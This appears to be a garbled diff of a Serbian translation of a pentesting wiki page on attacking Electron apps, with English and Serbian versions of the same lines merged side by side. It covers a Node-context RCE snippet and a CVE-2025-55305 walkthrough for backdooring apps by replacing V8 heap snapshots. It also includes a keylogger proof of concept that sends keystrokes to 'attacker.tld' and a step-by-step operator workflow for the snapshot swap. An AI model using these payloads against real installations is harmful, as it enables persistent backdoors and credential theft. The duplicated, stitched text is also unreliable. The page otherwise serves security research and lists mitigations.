- RCE in Node-enabled context: Učitana HTML stranica se izvršavala sa dostupnim Node API-ima, što je omogućilo izvršavanje OS komandi.
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab vežbu za eksploataciju ranjivih Electron aplikacija. Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Povezano štivo o problemima poverenja postMessage-a:
Neke komande koje će vam pomoći u labu: {{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Alati**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i sigurnosnih anti-patterna u aplikacijama zasnovanim na Electronu.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je VS Code dodatak otvorenog koda za Electron aplikacije koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
- [**Electro.ng**](https://electro.ng/): Potrebno ga je kupiti
## Laboratorije
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći laboratoriju za eksploatisanje ranjivih Electron aplikacija.
Neke komande koje će vam pomoći u laboratoriji:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -437,13 +460,13 @@ npm start
``` ```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305 ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski gledano, Electron-ove integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali kako enforcement zasnovan na fuse-ovima tako i OS provere potpisivanja koda. Kao rezultat, zamena snapshot-a u instalaciji u kojoj korisnik ima pravo pisanja omogućavala je prikriveno, persistentno izvršavanje koda unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR. Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electrons integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
Key points Ključne tačke
- Propust u integritetu: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju app JavaScript unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium na sličan način ne proverava integritet snapshots. - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Uslovi napada: Lokalna mogućnost pisanja fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron aplikacije ili Chromium browsers instalirani u putanje koje korisnik može pisati (npr. %AppData%\Local na Windows; /Applications uz ograničenja na macOS). - Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kojem isolate-u tako što se prepiše često korišćeni builtin (gadget), omogućavajući persistenciju i izbegavanje verifikacije potpisivanja koda. - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija koje korisnik može menjati. - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin. - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
@ -462,12 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget"); throw new Error("testing isArray gadget");
}; };
``` ```
Usmeravanje payloada u zavisnosti od isolata (pokretanje različitog koda u main i renderer) Isolate-aware payload routing (pokreni različit kod u main vs. renderer)
- Detekcija main procesa: Node-only globals poput process.pid, process.binding(), ili process.dlopen su prisutni u main process isolate.
- Detekcija Browser/renderer: Browser-only globals poput alert dostupni su prilikom izvršavanja u kontekstu dokumenta.
- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), или process.dlopen su prisutni u main process isolatu. Primer gadgeta koji jednom sondira main-process Node capabilities
- Detekcija browser/renderer-a: Browser-only globals kao što je alert su dostupni kada se izvršava u kontekstu dokumenta.
Primer gadgeta koji jednom ispituje Node capabilities main procesa
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
@ -496,7 +518,7 @@ process.exit(0);
return orig(...arguments); return orig(...arguments);
}; };
``` ```
PoC za krađu podataka iz Renderer/browser-context (npr. Slack) PoC krađe podataka iz renderer/browser-context (npr. Slack)
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
Array.isArray = function() { Array.isArray = function() {
@ -520,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments); return orig(...arguments);
}; };
``` ```
Tok rada operatera Operaterov radni tok
1) Napišite payload.js koji prepisuje uobičajeni builtin (npr. Array.isArray) i opciono granuje po isolate-u. 1) Napišite payload.js koji prepisuje uobičajeni builtin (npr., Array.isArray) i po potrebi pravi grananje po isolate.
2) Izgradite snapshot bez Chromium izvora: 2) Napravite snapshot bez Chromium izvora:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Zamenite snapshot fajl(ove) ciljane aplikacije: 3) Prepišite snapshot fajl(ove) ciljane aplikacije:
- v8_context_snapshot.bin (uvek se koristi) - v8_context_snapshot.bin (uvek se koristi)
- browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot) - browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot)
4) Pokrenite aplikaciju; gadget se izvršava kad god se koristi izabrani builtin. 4) Pokrenite aplikaciju; gadget se izvršava svaki put kada se upotrebi odabrani builtin.
Beleške i razmatranja Napomene i razmatranja
- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi u proverama code-signing-a i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta. - Zaobilaženje integriteta/potpisa: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi od strane provera potpisivanja koda i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta.
- Persistence: Zamena snapshot-a u instalaciji u kojoj korisnik ima prava za pisanje obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija. - Perzistencija: Zamena snapshot-a u instalaciji gde korisnik ima pravo pisanja obično opstaje nakon restartovanja aplikacije i deluje kao potpisana, legitimna aplikacija.
- Chromium browsers: Isti koncept manipulacije važi za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mere integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog modela pretnji. - Chromium browsers: Isti koncept manipulisanja važi i za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mitigacije integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog threat model-a.
Otkrivanje i ublažavanje Detekcija i mitigacije
- Tretirati snapshot-e kao izvršni sadržaj i uključiti ih u primenu provera integriteta (CVE-2025-55305 fix). - Tretirajte snapshot-e kao izvršni sadržaj i uključite ih u sprovođenje kontrole integriteta (ispravka CVE-2025-55305).
- Preferirati lokacije instalacije koje su upisive samo administratoru; napraviti baseline i nadgledati hasheve za v8_context_snapshot.bin i browser_v8_context_snapshot.bin. - Preferirajte lokacije instalacije koje su writable samo za admina; uspostavite početne i pratite hash vrednosti za v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Detektovati rano pri izvršavanju prepisivanje ugrađenih funkcija (builtin) i neočekivane promene snapshot-a; alarmirati kada deserijalizovani snapshot-i ne odgovaraju očekivanim vrednostima. - Detektujte rano-runtime clobbering builtin-a i neočekivane promene snapshot-a; alarmirajte kada deserializovani snapshot-i ne odgovaraju očekivanim vrednostima.
## **References** ## **Referencije**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -550,7 +576,6 @@ Otkrivanje i ublažavanje
- [Loki C2](https://github.com/boku7/Loki/) - [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)